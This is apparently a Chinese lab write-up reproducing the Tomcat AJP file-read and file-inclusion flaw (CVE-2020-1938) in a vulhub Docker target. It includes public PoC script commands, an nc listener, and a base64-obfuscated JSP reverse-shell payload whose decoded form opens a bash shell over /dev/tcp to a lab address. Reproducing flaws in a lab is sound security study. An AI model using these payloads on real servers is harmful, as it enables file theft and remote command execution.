Tomcat任意文件读取 文件包含漏洞复现(CVE-2020-1938)

漏洞原理

Tomcat开启了http和AJP两种协议的处理,由于“javax.servlet.include.request_uri”,“javax.servlet.include.path_info”,“javax.servlet.include.servlet_path” 这三个参数可控,所以导致文件读取以及文件包含漏洞。不过注意,可读取的文件也仅限于webapps下的目录。

为什么只能读取webapps目录下文件?
我们的请求路径中不能包含"/…/",也就导致了该漏洞只能读取webapps目录下的文件

默认读取webapps/ROOT目录下文件,怎么读取webapps下其他目录文件?

# 请求url
req_uri = '/asdf'# AJP协议请求中的三个属性
javax.servlet.include.request_uri = '/'
javax.servlet.include.path_info = 'WEB-INF/web.xml'
javax.servlet.include.servlet_path = '/'

POC中还有个关键参数req_uri,这个参数的设置决定了我们可以读取webapps下其他目录的文件。设置其值为一个随意字符串’asdf’,一来是无法匹配到webapps下的路径,走tomcat默认的ROOT目录;二来是为了让tomcat将请求流到DefaultServlet,从而触发漏洞。当请求读取WEB-INF/web.xml文件,则读取的就是webapps/ROOT/WEB-INF/目录下的web.xml。

当读取webapps/manager目录下的文件,只需修改POC中req_uri参数为’manager/asdf’,读取WEB-INF/web.xml文件则是读取webapps/manager/WEB-INF/目录下的web.xml。

参考:

https://xz.aliyun.com/t/7683

影响版本

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

漏洞复现

环境:
docker环境下的vulhub靶场

任意文件读取复现(CVE-2020-1938)

  1. 扫描目标ip 发现开放端口8009,8080
  2. 访问8080端口 查看到tomcat版本为9.0.30 在CVE-2020-1938包含版本范围内,于是猜测存在CVE-2020-1938漏洞
  3. 使用脚本,探测漏洞
    脚本地址

https://github.com/hypn0s/AJPy

python2 tomcat.py --port 8009 read_file --webapp=/ROOT WEB-INF/web.xml 192.168.2.137


查看文件成功!
注意:/ROOT 目录下文件很多,在实战中如果查不到/WEB-INF/web.xml ,有可能被管理员删除了,可以换其他文件试试。或者换webapps下的其他目录。
换目录的方法:

python2 tomcat.py --port 8009 read_file --webapp=/ROOT WEB-INF/web.xml 192.168.2.137


把上面/ROOT换成图片中的目录。

文件包含(CNVD-2020-10487)复现

如果网站中存在上传文件,并且文件保存位置在webapps目录下,则可以实现该漏洞复现。

这里vulhub靶场没有文件上传功能,于是自己登录目标靶机,手写一个文件上去

  1. 登录靶机,写入文件1.txt
docker exec -it 容器id /bin/bash    //登录靶机

写入jsp语句,反弹shell代码(其中base64编码为bash -i >& /dev/tcp/192.168.2.160/5555 0>&1

<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTYwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}");%>

注意:这里最好是在宿主机用vim写好后,拷贝到docker容器中。

  1. 使用脚本,包含文件1.txt 反弹shell
    这里,先开启5555端口监听。
nc -lvnp 5555

然后使用脚本,反弹shell

脚本:

https://github.com/fairyming/CVE-2020-1938

python2 CVE-2020-1938.py -p 8009 -f 1.txt 192.168.2.137 -c 0

python2 CVE-2020-1938.py -p 8009 -f 1.txt 192.168.2.137 -c 1// -c 1 就是文件包含
// -c 0 就是文件读取


反弹成功!

完!

免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为皆与本人无关。

Tomcat任意文件读取 文件包含漏洞复现(CVE-2020-1938/CNVD-2020-10487)相关推荐

  1. index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

    CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...

  2. Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)

    CVE-2020-1938 1.概述 1.1 tomcat概述 1.2 gostcat概述 - 漏洞概述 2. 漏洞成因 2.1 前置基础 2.1.1 Tomcat Connector(连接器) 2. ...

  3. Apache Axis2 后台文件上传getshell 漏洞复现

    0x00 前言 Apache Axis2是一个Web服务的核心支援引擎.AXIS2对旧有的AXIS重新设计及重写,并提供两种语言Java及C的开发版本. 事实上AXIS2 不只为WEB应用程序提供We ...

  4. 织梦任意前台用户密码修改漏洞复现

    标题:织梦任意前台用户密码修改漏洞复现 (DeDeCMS 前台任意用户密码修改漏洞) ps:工具:phpstudy,burp suite 1.火狐浏览器设置127.0.0.1 8080 端口代理 2. ...

  5. Phpspreadsheet 中文文档(六)读写文件+读取文件

    读写文件 从体系结构您已经知道,使用基本PhpSpreadsheet类无法对持久性存储进行读写.为此,PhpSpreadsheet提供读者和作家,这是实现\PhpOffice\PhpSpreadshe ...

  6. CVE-2020-1938 Aapache Tomcat AJP文件包含漏洞复现

    目录 一.环境搭建 1.下载vulhub 2.启动环境 二.漏洞复现 1.使用nmap扫描目标 2.运行POC验证漏洞 3.POC代码 三.修复方法 一.环境搭建 1.下载vulhub kali系统输 ...

  7. tomcat ajp协议安全限制绕过漏洞_Apache tomcat 文件包含漏洞复现(CVE20201938)

    漏洞背景 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer ...

  8. 网络抓包方式复现Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)

    目录 测试是否安装成功​编辑 基础简介 Tomcat Connector(连接器) ​编辑Servlet(服务程序) Tomcat内部处理请求流程 文件读取漏洞 抓包复现 需要将下图中抓取到的数据包修 ...

  9. 任意文件读取与下载漏洞学习

    原理: 任意文件读取漏洞属于文件操作类漏洞,一般常见于PHP/java/python语言中.任意文件读取漏洞,就是可以任意读取服务器上部分或者全部文件的漏洞,攻击者利用此漏洞可以读取服务器敏感文件如/ ...

  10. phpmyadminV4.8.1本地文件包含漏洞复现

    文章目录 一.phpMyadmin简介 二.什么是文件包含漏洞? 三.本地包含和远程包含 四.文件包含相关函数介绍 1.函数介绍 2.报错 3._once 4.小结 五.关于windows特性的一个小 ...

最新文章

  1. XML 特殊字符处理和 CDATA
  2. XPath实例教程四、[]的作用
  3. (chap 3 Http报文内的http信息) 编码提升传输速率(2)
  4. Ubuntu 安装 QQ
  5. HIT 2060 Fibonacci Problem Again
  6. 下两个网段转发的路由设置_收藏 | 多台路由器,不同网段的设备之间如何互访?...
  7. 怎样在linux中创建硬盘,在linux中添加新硬盘并创建LVM组
  8. 2019年Java程序设计讲课笔记目录
  9. iPhone 12机模曝光:继续刘海屏、回归直面边框
  10. flask-mail异步发送邮件_异步、定时、邮件任务
  11. 985毕业,3年大数据经验,面试阿里腾讯失败,只因做不好报表
  12. macos big sur永久关闭final cut Pro通知的技巧
  13. 计算机组成原理 笔记 第二版 唐朔飞
  14. Python 实现窗函数
  15. word中插入pdf图片(矢量图、高清图)
  16. Android icon图标网站
  17. 计算机一些简单快捷键,最全的电脑常用快捷键大全 电脑快捷键使用大全
  18. 一个查英语缩写的网站
  19. android 手机投屏电视,手机投屏到智能电视上的几种方法
  20. xp系统创建wifi连接服务器,xp笔记本连接无线wifi简便教程

热门文章

  1. redis的安装,配置
  2. mac上手总结~瞎玩玩
  3. 读《天才在左,疯子在右》01--偷取时间
  4. Java - mian()
  5. word中的方括号怎么删_Word如何批量删除习题括号内答案
  6. 9个常用的免费高清壁纸图库网站
  7. 机器视觉1:图像预处理与瑕疵检测
  8. php 0 加减乘除,php 加减乘除计算器 用php简单实现加减乘除计算器
  9. 转linux时间格式,Linux命令之date - 显示、修改系统日期时间[转]
  10. JavaScript验证邮箱格式是否正确